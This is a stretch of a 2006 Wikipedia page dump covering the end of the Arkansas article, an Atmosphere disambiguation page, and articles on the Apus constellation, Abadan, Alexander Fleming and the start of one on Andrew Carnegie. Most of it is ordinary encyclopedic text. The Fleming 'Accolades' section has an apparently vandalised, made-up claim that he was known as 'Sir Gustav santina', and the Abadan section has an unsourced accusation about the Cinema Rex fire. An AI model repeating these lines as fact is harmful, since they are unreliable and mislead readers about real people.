*15.7% [[African American|Black]]
*3.2% [[Hispanic American|Hispanic]]
*0.8% [[Asian American|Asian]]
*0.7% [[Native Americans in the United States|Native American]]
*1.3% [[Mixed race]]

The five largest ancestry groups in the state are: [[United States|American]] (15.9%), [[African American]] (15.7%), [[Ireland|Irish]] (9.5%), [[German-American|German]] (9.3%), [[British American|English]] (7.9%).

People of American ancestry have a strong presence in the northwestern Ozarks and the central part of the state. Blacks live mainly in the fertile southern and eastern parts of the state, especially along the Mississippi river.  Arkansans of British and German ancestry are mostly found in the far northwestern Ozarks near the Missouri border.

As of 2000, 95.0% of Arkansas residents age 5 and older speak [[English language|English]] at home and 3.3% speak [[Spanish language|Spanish]]. [[French language|French]] is the third most spoken language at 0.3%, followed by [[German language|German]] at 0.3% and [[Vietnamese language|Vietnamese]] at 0.1%.

===Religion===
Arkansas, like most other Southern states, is overwhelmingly Protestant. The religious affiliations of the people are as follows:

*[[Christianity|Christian]] &amp;ndash; 86%
**[[Protestant]] &amp;ndash; 78%
***[[Baptist]] &amp;ndash; 39%
***[[Methodist]] &amp;ndash; 9%
***[[Pentecostal]] &amp;ndash; 6%
***[[Church of Christ]] &amp;ndash; 6%
***[[Assemblies of God]] &amp;ndash; 3%
***Other Protestant &amp;ndash; 15%
**[[Roman Catholicism in the United States|Roman Catholic]] &amp;ndash; 7%
**Other Christian &amp;ndash; 1%
*Other Religions &amp;ndash; &lt;1%
*Non-Religious &amp;ndash; 14%

==Important cities and towns==
{|
|-
| valign=top |
*[[Arkadelphia, Arkansas|Arkadelphia]]
*[[Batesville, Arkansas|Batesville]]
*[[Bella Vista, Arkansas|Bella Vista]]
*[[Benton, Arkansas|Benton]]
*[[Bentonville, Arkansas|Bentonville]]
*[[Blytheville, Arkansas|Blytheville]]
*[[Bryant, Arkansas|Bryant]]
*[[Cabot, Arkansas|Cabot]]
*[[Camden, Arkansas|Camden]]
*[[Conway, Arkansas|Conway]]
*[[El Dorado, Arkansas|El Dorado]]
*[[Fayetteville, Arkansas|Fayetteville]]
*[[Forrest City, Arkansas|Forrest City]]
*[[Fort Smith, Arkansas|Fort Smith]]
*[[Harrison, Arkansas|Harrison]]
*[[Hope, Arkansas|Hope]]
*[[Hot Springs, Arkansas|Hot Springs]]
*[[Jacksonville, Arkansas|Jacksonville]]
*[[Jonesboro, Arkansas|Jonesboro]]
*[[Little Rock, Arkansas|Little Rock]]
*[[Lonoke, Arkansas|Lonoke]]
| valign=top |
*[[Magnolia, Arkansas|Magnolia]]
*[[Maumelle, Arkansas|Maumelle]]
*[[Monticello, Arkansas|Monticello]]
*[[Mountain Home, Arkansas|Mountain Home]]
*[[North Little Rock, Arkansas|North Little Rock]]
*[[Paragould, Arkansas|Paragould]]
*[[Pine Bluff, Arkansas|Pine Bluff]]
*[[Pocahontas, Arkansas|Pocahontas]]
*[[Pottsville, Arkansas|Pottsville]]
*[[Rector, Arkansas|Rector]]
*[[Rogers, Arkansas|Rogers]]
*[[Russellville, Arkansas|Russellville]]
*[[Searcy, Arkansas|Searcy]]
*[[Sherwood, Arkansas|Sherwood]]
*[[Smackover, Arkansas|Smackover]]
*[[Springdale, Arkansas|Springdale]]
*[[Siloam Springs, Arkansas|Siloam Springs]]
*[[Texarkana, Arkansas|Texarkana]]
*[[Van Buren, Arkansas|Van Buren]]
*[[West Helena, Arkansas|West Helena]]
*[[West Memphis, Arkansas|West Memphis]]
|}

==Education and research centers==
===Centers of research===
* [http://www.comanchelodge.com/chickamauga-cherokee.html Arkansas Cherokee Indian Research]
* [[Dale Bumpers National Rice Research Center]] [http://www.dbnrrc.ars.usda.gov/ website]
* [[National Center for Toxicological Research]] [http://www.fda.gov/nctr/ website]

===Colleges and universities===
[[Image:UAMS Cancer.JPG|thumb|right|[[University of Arkansas for Medical Sciences]], Little Rock.]]
*[[University of Arkansas System]]
**[[University of Arkansas]]
**[[University of Arkansas - Fort Smith]]
**[[University of Arkansas at Little Rock]]
**[[University of Arkansas for Medical Sciences]]
**[[University of Arkansas at Monticello]]
**[[University of Arkansas at Pine Bluff]]
&lt;p&gt;
*[[Arkansas Baptist College]]
*[[Arkansas Tech University]]
*[[Central Baptist College]]
*[[Harding University]]
*[[Henderson State University]]
*[[Hendrix College]]
*[[John Brown University]]
*[[Lyon College]]
*[[Ouachita Baptist University]]
*[[Philander Smith College]]
*[[Southern Arkansas University]]
*[[University of Central Arkansas]]
*[[University of the Ozarks]]
*[[Williams Baptist College]]
[[Image:Astate.jpg|thumb|right|[[Arkansas State University]], Jonesboro.]]
*[[Arkansas State University System]]
**[[Arkansas State University|Arkansas State University - Jonesboro]]
**[[Arkansas State University - Beebe]]
**[[Arkansas State University - Mountain Home]]
**[[Arkansas State University - Newport]]
**[[Arkansas State University - Marked Tree]]
**[[Arkansas State University - Heber Springs]]
**[[Arkansas State University - Searcy]]

==See also==
*[[Arkansas Literature]]
*[[Ivory-billed Woodpecker]], long thought extinct, was recently re-discovered in the Big Woods of Arkansas
*[[South Arkansas]]
*[[List of Arkansas native plants]]

==External links==
{{sisterlinks|Arkansas}}
*[http://www.state.ar.us Official State website Homepage]
*[http://www.arcountydata.com Online access to Arkansas County Records]
*[http://www.arkansas.com/things-to-do/history-heritage/facts.asp Facts About Arkansas]
*[http://quickfacts.census.gov/qfd/states/05000.html U.S. Census Bureau]
*[http://www.usnewspapers.org/state/arkansas Arkansas Newspapers]
*[http://www.arkleg.state.ar.us/data/ar_code.asp Arkansas State Code (the state statutes of Arkansas)]
* [http://www.southernlitreview.com/states/arkansas Literature of Arkansas]


{{United_States}}
{{Arkansas}}

[[Category:Arkansas|*]]
[[Category:States of the United States]]
[[Category:1836 establishments]]
[[ang:Arkansas]]
[[ar:أركنساس]]
[[ast:Arkansas]]
[[bg:Арканзас]]
[[zh-min-nan:Arkansas]]
[[bs:Arkansas]]
[[ca:Arkansas]]
[[cs:Arkansas]]
[[da:Arkansas]]
[[de:Arkansas]]
[[et:Arkansas]]
[[es:Arkansas]]
[[eo:Arkansaso]]
[[fr:Arkansas]]
[[ga:Arkansas]]
[[gd:Arkansas]]
[[gl:Arcansas]]
[[ko:아칸소 주]]
[[id:Arkansas]]
[[is:Arkansas]]
[[it:Arkansas]]
[[he:ארקנסו]]
[[ka:არკანზასი]]
[[la:Arcansia]]
[[lv:Ārkanzasa]]
[[lt:Arkanzasas]]
[[lb:Arkansas]]
[[hu:Arkansas]]
[[mk:Арканзас]]
[[ms:Arkansas]]
[[nl:Arkansas]]
[[ja:アーカンソー州]]
[[no:Arkansas]]
[[nn:Arkansas]]
[[os:Арканзас]]
[[pl:Arkansas]]
[[pt:Arkansas]]
[[ru:Арканзас]]
[[sa:आर्कन्‍सा]]
[[sq:Arkansas]]
[[simple:Arkansas]]
[[sk:Arkansas]]
[[sl:Arkansas]]
[[sr:Арканзас]]
[[fi:Arkansas]]
[[sv:Arkansas]]
[[tr:Arkansas]]
[[uk:Арканзас]]
[[zh:阿肯色州]]</text>
    </revision>
  </page>
  <page>
    <title>Atmosphere</title>
    <id>1931</id>
    <revision>
      <id>41185087</id>
      <timestamp>2006-02-25T17:00:28Z</timestamp>
      <contributor>
        <username>Sango123</username>
        <id>223113</id>
      </contributor>
      <minor />
      <comment>a -&gt; A</comment>
      <text xml:space="preserve">{{portal}}
{{wiktionarypar|atmosphere}}
'''Atmosphere''' may refer to:
*[[Celestial body atmosphere]], such as:
**[[Earth's atmosphere]]
**[[Stellar atmosphere]]s
*[[Atmosphere (unit)]], a unit of pressure 
*[[Gas]] mixture (an artificial atmosphere)
*Ambience or [[mood]]
*[[Atmosphere (band)]], a hip-hop music group
*[[Adobe Atmosphere]], a 3D computer graphics product by Adobe Systems

{{disambig}}
[[ar:غلاف جوي]]
[[ca:Atmosfera]]
[[da:Atmosfære]]
[[de:Atmosphäre (Begriffsklärung)]]
[[eo:Atmosfero]]
[[es:Atmósfera]]
[[et:Atmosfäär]]
[[fr:Atmosphère]]
[[lt:Atmosfera]]
[[nl:Atmosfeer]]
[[pl:Atmosfera]]
[[ru:Атмосфера]]
[[sl:Atmosfera (razločitev)]]
[[sv:Atmosfär]]
[[uk:&amp;#1040;&amp;#1090;&amp;#1084;&amp;#1086;&amp;#1089;&amp;#1092;&amp;#1077;&amp;#1088;&amp;#1072;]]</text>
    </revision>
  </page>
  <page>
    <title>Avoid statements that will date quickly talk</title>
    <id>1932</id>
    <revision>
      <id>15900392</id>
      <timestamp>2002-04-22T23:54:30Z</timestamp>
      <contributor>
        <username>Lee Daniel Crocker</username>
        <id>43</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[wikipedia talk:Avoid statements that will date quickly]]</text>
    </revision>
  </page>
  <page>
    <title>Apus</title>
    <id>1933</id>
    <revision>
      <id>40828570</id>
      <timestamp>2006-02-23T07:09:07Z</timestamp>
      <contributor>
        <username>Palica</username>
        <id>188933</id>
      </contributor>
      <minor />
      <comment>robot  Adding: sk</comment>
      <text xml:space="preserve">:''For the genus of birds, see [[Apus (genus)]].''
:''For the computer, see [[APUS_Computer|APUS]].''
{{Infobox Constellation|
name = Apus |
abbreviation = Aps |
genitive = Apodis |
symbology = the [[bird of paradise]] |
RA = 16 |
dec= &amp;minus;75 |
areatotal = 206 |
arearank = 67th |
numberstars = 0 |
starname = [[Alpha Apodis|&amp;alpha; Aps]] |
starmagnitude = 3.83 |
meteorshowers = None |
bordering =
*[[Triangulum Australe]]
*[[Circinus]]
*[[Musca]]
*[[Chamaeleon]]
*[[Octans]] 
*[[Pavo (constellation)|Pavo]]
*[[Ara]] |
latmax = 5 |
latmin = 90 |
month = July |
notes=}}
'''Apus''' ([[Latin]] for ''[[bird of paradise]]'' or ''[[swallow]]'', from [[Greek language|Greek]] ''&amp;alpha;&amp;pi;&amp;omicron;&amp;upsilon;&amp;sigmaf;'', lit. &quot;no-feet&quot;) is a faint southern [[constellation]], not visible to the ancient Greeks. The constellation was one of twelve constellations created by [[Pieter Dirkszoon Keyser]] and [[Frederick de Houtman]] between [[1595]] and [[1597]], and it first appeared in [[Johann Bayer]]'s ''[[Uranometria]]'' of [[1603]].

==Notable and named stars==
{| style=&quot;color:#000000; font-size:smaller;&quot; cellspacing=2 cellpadding=0
|-
! style=&quot;background-color:#dddddd;&quot; | [[Bayer designation|BD]]
! style=&quot;background-color:#dddddd;&quot; | Names and other designations
! style=&quot;background-color:#dddddd;&quot; | [[apparent magnitude|Mag.]]
! style=&quot;background-color:#dddddd;&quot; | [[Light year|Ly]] away
! style=&quot;background-color:#dddddd;&quot; | Comments
|-
| &amp;alpha; || [[Alpha Apodis]] || 3.83 || 411 ||
|- style=&quot;background-color:#eeeeee;&quot;
| &amp;gamma; || [[Gamma Apodis]] || 3.86 || 160 ||
|-
| &amp;beta; || [[Beta Apodis]] || 4.23 || 158 ||
|- style=&quot;background-color:#eeeeee;&quot;
| &amp;delta;&amp;sup1; || [[Delta Apodis|Delta-1 Apodis]] || 4.68 || 770 ||
* [[irregular variable]]
* [[double star]] with [[Delta Apodis|&amp;delta;&amp;sup2; Apodis]]
|-
| &amp;zeta; || [[Zeta Apodis]] || 4.79 || 312 ||
|- style=&quot;background-color:#eeeeee;&quot;
| &amp;eta; || [[Eta Apodis]] || 4.89 || 140 ||
|-
| &amp;epsilon; || [[Epsilon Apodis]] || 5.06 || 551 ||
* [[Gamma Cassiopeiae variable|Gamma Cassiopeiae type]] [[variable star]]
|- style=&quot;background-color:#eeeeee;&quot;
| &amp;delta;&amp;sup2; || [[Delta Apodis|Delta-2 Apodis]] || 5.27 || 663 ||
* [[double star]] with [[Delta Apodis|&amp;delta;&amp;sup1; Apodis]]
|-
| &amp;iota; || [[Iota Apodis]] || 5.39 || 1140 ||
|- style=&quot;background-color:#eeeeee;&quot;
| &amp;kappa;&amp;sup1; || [[Kappa Apodis|Kappa-1 Apodis]] || 4.68 || 1020 ||
* [[Gamma Cassiopeiae variable|Gamma Cassiopeiae type]] [[variable star]]
|-
|  || [[R Apodis]] || 5.37 || 428 ||
|- style=&quot;background-color:#eeeeee;&quot;
| &amp;kappa;&amp;sup2; || [[Kappa Apodis|Kappa-2 Apodis]] || 5.64 || 735 ||
|-
| &amp;theta; || [[Theta Apodis]] || 5.69 || 328 ||
* [[semiregular variable|semiregular]] [[variable star]]
|}
Source: &lt;cite&gt;The Bright Star Catalogue, 5th Revised Ed.&lt;/cite&gt;, &lt;cite&gt;The Hipparcos Catalogue, ESA SP-1200&lt;/cite&gt;

&lt;BR clear=&quot;all&quot;/&gt;
==See also==

{{ConstellationsByBayer}}
{{ConstellationList}}

== External links ==
*[http://www.astronomical.org/portal/modules/wfsection/article.php?articleid=3 Peoria Astronomical Society - Apus]
* [http://www.nightskyinfo.com/constellations/apus/ NightSkyInfo.com: Constellation Apus]

{{Commons|Apus}}
{{astro-stub}}

[[Category:Apus constellation| ]]

[[ca:Au del Paradís]]
[[cs:Rajka (souhvězdí)]]
[[da:Paradisfuglen]]
[[de:Paradiesvogel (Sternbild)]]
[[es:Apus]]
[[fr:Oiseau de paradis (constellation)]]
[[ko:극락조자리]]
[[id:Apus]]
[[it:Apus]]
[[la:Apus (sidus)]]
[[lt:Rojaus Paukštis (astronomija)]]
[[hu:Paradicsommadár (csillagkép)]]
[[nl:Paradijsvogel (sterrenbeeld)]]
[[ja:ふうちょう座]]
[[nn:Paradisfuglen]]
[[pt:Apus]]
[[ru:Райская Птица (созвездие)]]
[[sk:Súhvezdie Rajka]]
[[th:กลุ่มดาวนกการเวก]]
[[vi:Thiên Yến]]
[[zh:天燕座]]</text>
    </revision>
  </page>
  <page>
    <title>Abadan</title>
    <id>1934</id>
    <revision>
      <id>41724005</id>
      <timestamp>2006-03-01T08:20:14Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>migrate {{web reference}} to {{[[template:cite web|cite web]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">[[Image:Abadan.png|right|Map of Iran (Persia) and surrounding lands, showing location of Abadan]]

'''Abadan''' (&amp;#1570;&amp;#1576;&amp;#1575;&amp;#1583;&amp;#1575;&amp;#1606; in [[Persian language|Persian]]) is a city in the [[Khuzestan]] province in southwestern [[Iran]] ([[Persian empire|Persia]]). It lies on Abadan Island, on the [[Arvand]] river. In 2005 the population was estimated to be at 1,291,690.&lt;small&gt;[http://www.mongabay.com/igapo/2005_world_city_populations/Iran.html]&lt;/small&gt;

==Etymology==
In [[medieval]] sources and up to the present century, the name of the Island always occurs in the [[Arabic language|Arabic]] form '' 'Abadan''(ﻥﺍﺩﺎﺒﻋ). This name has sometimes been derived from the word ''worshiper''(ﺩﺎﺒﻋ). On the other hand, ''Beladori''(d.[[892]]) quotes the story that the town was founded by '' 'Abbad bin Hosayn Khabethi'', who established a garrison there during the governorship of ''Hajjaj'' in the [[Ummayad]] period. An Iranian etymology of the name  (from the Persian word &quot;ab&quot; (water) and the root &quot;p&amp;#257;&quot; (guard, watch) thus &quot;coastguard station&quot;), was suggested by ''B. Farahvashi''. Supporting evidence is the name &quot;Apphana&quot; which [[Ptolemy]] applies to an island off the mouth of The Tigris. The Persian version of the name had begun to come into general use before it was adopted by official decree in [[1935]] (see [http://www.iranica.com/articles/search/searchpdf.isc?ReqStrPDFPath=/home1/iranica/articles/v1_articles/abadan&amp;OptStrLogFile=/home/iranica/public_html/logs/pdfdownload.html Abadan], in [[Encyclopaedia Iranica]], pp.51-52). 
The geographer Marcian also renders the name &quot;Apphadana&quot; in his writings (see ''Geographia Marciani Heracleotae'', ed. David Hoeschel, Augsburg 1600 p48).

==History==
Abadan is thought to have originally developed as a port city under the [[Abbasid]]s' rule. From 17th century onward, the Island of Abadan was part of the lands of the [[Arab]] ''Ka'ab'' ([[Bani Kaab]]) tribe. One section of this tribe, ''Mohaysen'', had its headquarters at ''Mohammara''(present-day [[Khorramshahr]]), until the removel of Shaikh [[Khaz'al Khan]] in [[1924]]. (see [http://www.iranica.com], p.53, under ''Abadan'')

It was not until the [[20th century]] that rich oil fields were discovered in the area. In 1910, the population had been around 400. The [[Anglo-Persian Oil Company]] built their first [[oil refinery]] in Abadan, starting in 1909 and completing it in 1913. By 1938, it was the largest in the world. To this day it remains a vast facility for refining [[petroleum]].

Only a low 9 percent of managers (of the oil company) were from Khuzestan. The proportion of natives of [[Tehran]], the [[Caspian]], [[Azarbaijan]] and [[Kurdistan Province, Iran|Kurdistan]] rose from 4 percent of [[blue collar]] workers to 22 percent of [[white collar]] workers to 45 percent of managers. Thus while [[Arabic]] speakers were concentrated on the lower rungs of the work force, managers tended to be brought in from some distance.(see [http://www.iranica.com], p.56, under ''Abadan'')

On [[August 20]] [[1978]], the Cinema Rex, a movie theater in Abadan, was locked from the outside and [[arson|set on fire]], resulting in 430 deaths. To this day it is not entirely clear what happened, but it was believed by some that the government of the Iranian [[Shah]] [[Mohammad Reza Pahlavi]] purposely set the theater ablaze to kill several [[dissident]]s who were hiding inside. This event sparked [[protest|mass demonstrations]] against Pahlavi's government, which was overthrown six months later by [[Islam]]ic [[fundamentalism|fundamentalists]] and their supporters (see [[Iranian Revolution]]). Most more accurately accuse Ayatollah Ali Khamenei of committing this tragedy.

In September 1980, Abadan was almost overrun during a surprise attack on Khuzestan by Iraq, marking the beginning of the [[Iran-Iraq War]]. For 18 months Abadan was besieged, but never captured, by Iraqi forces. Much of the city, including the oil refinery, was badly damaged or destroyed by the siege and by bombing. Previous to the war, the city's civilian [[population]] was about 300,000, but before it was over most of the populous had sought refuge elsewhere in Iran.

After the war, the biggest concern was the rebuilding of Abadan's oil refinery. In 1993 the refinery began limited operation, and by 1997 it reached the same rate of production it was at before the war.

===Recent events===
To honor the 100th anniversary of the refining of oil in Abadan, city officials are planning an &quot;oil [[museum]]&quot; {{ref|chn.ir}}
&lt;!-- Unsourced image removed: [[Image:Abadan.jpg|thumb|200px|Abadan]] --&gt;

==Places of Interest==
[[Image:Abadan_taj_cinema.jpg|thumb|250px|Taj cinema in Abadan|frame|Taj cinema in Abadan]]

The [[Abadan Institute of Technology]] was established in Abadan in 1939. The school specialized in [[engineering]] and petroleum [[chemistry]], and was designed to train staff for the refinery in town. The school's name has since changed several times, but since 1989 has been considered a branch campus of the [[Petroleum University of Technology]], centered in [[Tehran]].

There is an international [[airport]] in Abadan. It is represented by the [[IATA airport code]] [[ABD]].

==Trivia==
* The Abadan oil refinery was featured on the reverse side of Iran's 100-rial banknotes printed in 1965 and from 1971 to 1973.

==See also==
* [[Abadan Crisis]]

==References==
* {{note|chn.ir}} {{cite web | title=Southern Iran Craves for an Oil Museum | url=http://www.chn.ir/en/news/?id=5870&amp;section=2 | accessdate= October 20 | accessyear= 2005 }}

==External links==
* [http://www.put.ac.ir/abadan/Default.htm Abadan Institute of Technology] - Home page
* [http://www.abadan-ref.org/ Abadan Oil Refinery] - Home page
* [http://www.ostan-kz.ir/en/albumdetail_aen_i_1.html Abadan Photo Gallery from the Khuzestan Governorship]
* [http://www.abadan.net Abadan.Net]

----

''Abadan'' is also the name of a 2003 Iranian movie from director [[Mani Haghighi]].

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    <id>1936</id>
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  <page>
    <title>Alexander Fleming</title>
    <id>1937</id>
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      <comment>/* Accolades */</comment>
      <text xml:space="preserve">[[image:Alexander-fleming.jpg|thumb|Alexander Fleming]]
Sir '''Alexander Fleming''' ([[August 6]], [[1881]] &amp;ndash; [[March 11]], [[1955]]) was a [[Scotland|Scottish]] [[biologist]] and [[pharmacologist]]. He discovered the [[antibiotic]] substance [[lysozyme]] and isolated the antibiotic substance [[penicillin]] from the fungus ''[[Penicillium notatum]]'', for which he shared a [[Nobel Prize]].

== Birth and education==
Fleming was born on a [[farm]] at [[Lochfield]] near [[Darvel]] in [[East Ayrshire]],  and was schooled for two years at the Academy in [[Kilmarnock]]. He later attended [[St Mary's Hospital (London)|St Mary's Hospital]] medical school in [[London]] until [[World War I]] broke out. He and many of his colleagues worked in battlefield hospitals at the fronts in [[France]]. He learned of the works by [[Ernest Duchesne]].

==Fable==
The popular story of [[Lord Randolph Churchill|Winston Churchill's father]]'s paying for Fleming's education after Fleming's father saved young [[Winston Churchill|Winston]] from death is certainly false. According to the biography, &quot;Penicillin Man: Alexander Fleming and the Antibiotic Revolution&quot; by Kevin Brown, Alexander Fleming is quoted as saying that this was &quot;a wonderful fable&quot;. Nor did he save Winston Churchill himself during WWII. Churchill was saved by [[Lord Moran]], using [[sulphonamide]]s, since he had no experience with penicillin, when Churchill fell ill in Carthage in Tunisia in 1943. The Daily Telegraph and The Morning Post on 21 December 1943 wrote that he had been saved by penicillin. It is probable that, as [[sulphonamides]] were a German discovery, and there was a war with the Germans, the patriotic pride in the miracle cure of penicillin had something to do with this error in reporting.

==Rediscovery==
Fleming worked with the mold for some time, but refining and growing it was a difficult process better suited to chemists.  Fleming's impression was that, because of the problem of producing the drug in quantity and because its action seemed slow, it would not be an important resource for treating infection.  Furthermore, his initial paper was not well received in the medical community.  Fleming therefore did not pursue the subject further.  It was left to two other scientists, [[Howard Walter Florey|Howard Florey]] and [[Ernst Boris Chain]], to develop a method of purifying penicillin to an effective form.  Through their work, the drug was available for mass distribution during [[World War II]].

==Accolades==
For his achievements, Fleming was knighted in 1944, he was known as Sir Gustav santina, after his Grandfather, and step Great grandfather Gustav Lichtenstein, and Santina Gauchiosos ( from Checkoslavakia and Spain ). Fleming, Florey, and Chain were the joint recipients of the [[Nobel Prize in Medicine]] in 1945.  Florey was later given the honour of a peerage for his monumental work in making penicillin available to the public and saving millions of lives in World War II.

Fleming was ranked #43 on [[Michael H. Hart]]'s [[The 100|list of the most influential figures in history]].

The discovery of penicillin was ranked as the most important discovery of the millennium when the year 2000 was approaching by at least 3 large Swedish magazines, as seen in for example: http://www.nyteknik.se/pub/ipsart.asp?art_id=1462. 
It is impossible to know how many lives have been saved by this discovery, but some of these magazines placed their estimate near 200 million lives, which, if even remotely true, might arguably make this man the greatest hero ever.


Fleming was long a member of the [[Chelsea Arts Club]], a private club for artists of all genres, founded in 1891 at the suggestion of the painter [[James McNeil Whistler]]. Fleming was admitted to the club after he made &quot;germ paintings,&quot; in which he drew with a culture loop using spores of highly pigmented bacteria.  The bacteria were invisible while he painted, but when cultured made bright colours.
:''[[Serratia]] marcescens'' - red
:''[[Chromobacterium]] violaceum'' - purple
:''[[Micrococcus]] luteus'' - yellow 
:''[[Micrococcus]] varians'' - white 
:''[[Micrococcus]] roseus'' - pink 
:''[[Bacillus]] sp.'' - purple

==Death==
Fleming died in 1955 of a [[myocardial infarction|heart attack]] at the age of 73. He was buried as a national hero in the crypt of [[St. Paul's Cathedral]] in [[London]]. His discovery of penicillin had changed the world of modern medicines by introducing the age of useful [[antibiotic]]s and his discovery of the penicillin has, and still, saved millions of people.

==External links==

*[http://www.importantscots.com/sir-alexander-fleming.htm Sir Alexander Fleming - Important Scots]

* &quot;Penicillin Man&quot;, by Kevin Brown, official biographer for Fleming at St Mary's Hospital. http://www.amazon.co.uk/exec/obidos/ASIN/0750931523/203-6687617-7055925

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  <page>
    <title>Andrew Carnegie</title>
    <id>1938</id>
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      <comment>/* Postwar years, 1865-1880: Carnegie the investor */</comment>
      <text xml:space="preserve">{{Infobox Celebrity
| name        =Andrew Carnegie
| image       = Andrew-carnegie-portrait-pd.png
| caption     = 
| birth_date  = [[November 25]] [[1835]]
| birth_place = [[Dunfermline]], [[Scotland]]
| death_date  = [[August 11]] [[1919]]
| death_place = [[Lenox, Massachusetts]]
| occupation  = [[List of business people|Businessman]] and [[Philanthropist]]
| salary      = 
| networth    = 
| website     =
| footnotes   = 
}}
'''Andrew Carnegie''' ([[November 25]] [[1835]] &amp;ndash; [[August 11]] [[1919]]) was a [[Scottish-American]] [[List of business people|businessman]], a major [[philanthropist]], and the founder of the [[Carnegie Steel Company]] which later became [[U.S. Steel]].  He is known for having, later in his life, given away most of his riches to fund the establishment of many libraries, schools, and universities in America and worldwide.

==Formative influences==
===The Carnegie family in Scotland===
Andrew Carnegie was born on Wednesday, November 25, 1835, in [[Dunfermline]], [[Fife]], [[Scotland]].  He was the son of a [[hand loom]] weaver, William Carnegie.  His mother was Margaret, daughter of one Thomas Morrison, a [[tanner]] and [[shoemaker]].  

Many of Carnegie's closest relatives were self-educated tradesmen and class activists. William Carnegie, whilst poor, had educated himself and, as far as his resources would permit, saw to it that his children received an education, as well.  William Carnegie was moreover a militant political activist and was involved with those organising demonstrations against the [[Corn laws]].  He was also a [[Chartist]].  

Andrew Carnegie's maternal grandfather, Thomas Morrison, was one of the most persistent campaigners for [[Liberalism|liberal]] reforms in Scotland.  Through the dint of his own efforts of [[self education]], Thomas Morrison acquired an eloquence with the written word that matched his more privileged &quot;betters&quot;.  He wrote frequently to newspapers and contributed articles in the [[Radicalism|radical]] [[pamphlet]], ''Cobbett's Register'' edited by [[William Cobbett]].  Amongst other things, he argued for:  abolition of the [[Rotten Boroughs]] and reform of the [[British House of Commons]], which occurred much later in the [[Great Reform Act of 1832]], [[Catholic Emancipation]], and Laws governing safety at work, which were passed many years later in the [[Factory Acts]].  Most radically of all, however, he promoted the abolition of all forms of hereditary privilege, including all [[Monarchy|monarchies]]. 

Another great influence on the young Andrew Carnegie was his uncle, George Lauder, a proprietor of a small grocers shop in Dunfermline High Street.  This uncle introduced the young Carnegie to such historical Scottish heroes as [[Robert the Bruce]], [[William Wallace]], and [[Rob Roy]].  He was also introduced to the writings of [[Robbie Burns]].  It was, perhaps, Burns who most influenced Carnegie, who regarded Burns as one of the greatest preachers of [[Democracy]].  Uncle George Lauder had Carnegie commit to memory many pages of Burns's writings, writings that were to stay with him for the rest of his life. 

George Lauder was additionally interested in the [[United States]]. Lauder saw the U.S.A. as a country with &quot;democratic institutions&quot;. 

Another uncle, his mother's brother, &quot;Ballie&quot; Morrison, was also a  radical political firebrand. The chief object of this gentleman's tirades was the [[Church of England]] and the [[Church of Scotland]].  &quot;Ballie&quot; Morrison was a fervent [[nonconformist]].  In 1842, the young Carnegie's radical sentiments were stirred further at the news of Uncle &quot;Ballie&quot; being imprisoned for his part in a &quot;Cessation of Labour&quot; ([[Strike action|strike]]).  At this time, withdrawal of labour by an hireling was covered by criminal law.  Notwithstanding these literary and political influences, poverty in the Carnegie family was always at hand and severe.

=== Emigration to America===
Andrew Carnegie's father had worked as a jobbing hand loom weaver.  This involved receiving the mill's raw materials at his cottage and weaving them into cloth on the primitive loom in the cottage.  In the 1840's, a new system was coming into being, the factory system.  During this era, mill owners began constructing large weaving mills with looms powered at first by water wheels and later by steam engines. These factories could produce cloth at far lower cost, partly through increased mechanisation and economies of scale, but partly also by paying mill workers very low wages and by working them very long hours. The success of the mills forced William Carnegie to seek work in the mills or elsewhere away from home.  However, the radical views of Andrew Carnegie's father were well known, and he was not wanted. 

He chose to emigrate. His mother's two sisters had already emigrated, but it was his wife who persuaded William Carnegie to make the passage. Making the passage was not easy, however, for they had to find the passage money.  They were forced to sell their meagre possessions and borrow some £20 from friends, a considerable sum in 1848. 

That May, his family emigrated to the U.S.A., sailing on the ''Wiscasset'', a former [[whaler]] that took the family from Broomielaw, in [[Glasgow]], to New York.  From there they proceeded up the [[Hudson River]] and the [[Erie Canal]] to [[Lake Erie]] and then to [[Allegheny, Pennsylvania]], where William Carnegie found work in a cotton factory.

Young Andrew Carnegie found work in the same building as a &quot;Bobbin boy&quot; for the sum of $1.20 per week. His younger brother, by some eight years, Thomas, was sent to school. Andrew Carnegie, the Scot, quickly became Andrew Carnegie the American. Three years after arriving in the U.S.A., the young Carnegie began writing to his friends in Scotland extolling the great virtues of American democracy whilst disparaging and criticising &quot;feudal British institutions&quot;.  At the same time, he followed in his father's footsteps and wrote letters to the newspapers including the ''[[New York Tribune]]'' on subjects such as slavery.

==Early career==
===1850-1860: A 'self made man'===
Andrew Carnegie's education and passion for reading was given a great boost by one Colonel [[James Anderson]], who opened his personal library of 400 volumes to working boys each Saturday night.  Carnegie was a most persistent borrower.  Andrew Carnegie was a &quot;self made man&quot; in the roundest possible sense insofar as it applied not only to his economic development but also to his intellectual and cultural development.  His capacity and willingness for hard work, his perseverance, and his alertness, soon brought forth opportunities. 

In 1851, he became a [[Telegraphy|Telegraph]] Messenger boy in the [[Pittsburgh]] Office of the [[Ohio Telegraph Company]], at $2.50 per week.  This, to the young Carnegie, seemed a fortune.  In addition to providing him with an increase in income, the job also provided him with a lifelong love of [[William Shakespeare|Shakespeare's]] works.  He was frequently required to deliver messages to a [[theatre]], and he often managed to contrive appearing just as the curtain had been raised on a performance.  Using a charm that was to pay even greater dividends in the future, Carnegie was then usually able to convince the theatre's manager to allow him to stay and watch the performance for free.  When Carnegie was not at the theatre or improving his mind with a book, he would spend time listening to the telegraph instrument itself. The electric telegraph transmitted its signals along the wires that traversed the nation.  When they were received into the telegraph office, they were transcribed into readable script on a long paper tape with the aid of an elaborate machine.  He quickly learned to distinguish the differing sound the incoming signals produced and learned to transcribe, himself.  At the time, Andrew Carnegie was one of only two or three persons so gifted in the entire country.  Having learned Telegraphy, he was noted by [[Tom Scott (PRR)|Thomas A. Scott]] of the [[Pennsylvania Railroad Company]], who employed him as a secretary/Telegraph operator starting in 1853, at the princely salary of $4.00 per week.  Carnegie was sixteen and soon began a  rapid advancement through the company, eventually becoming the Superintendent of the Pittsburgh Division.

===1860-1865: Carnegie during the [[U.S. Civil War]]===
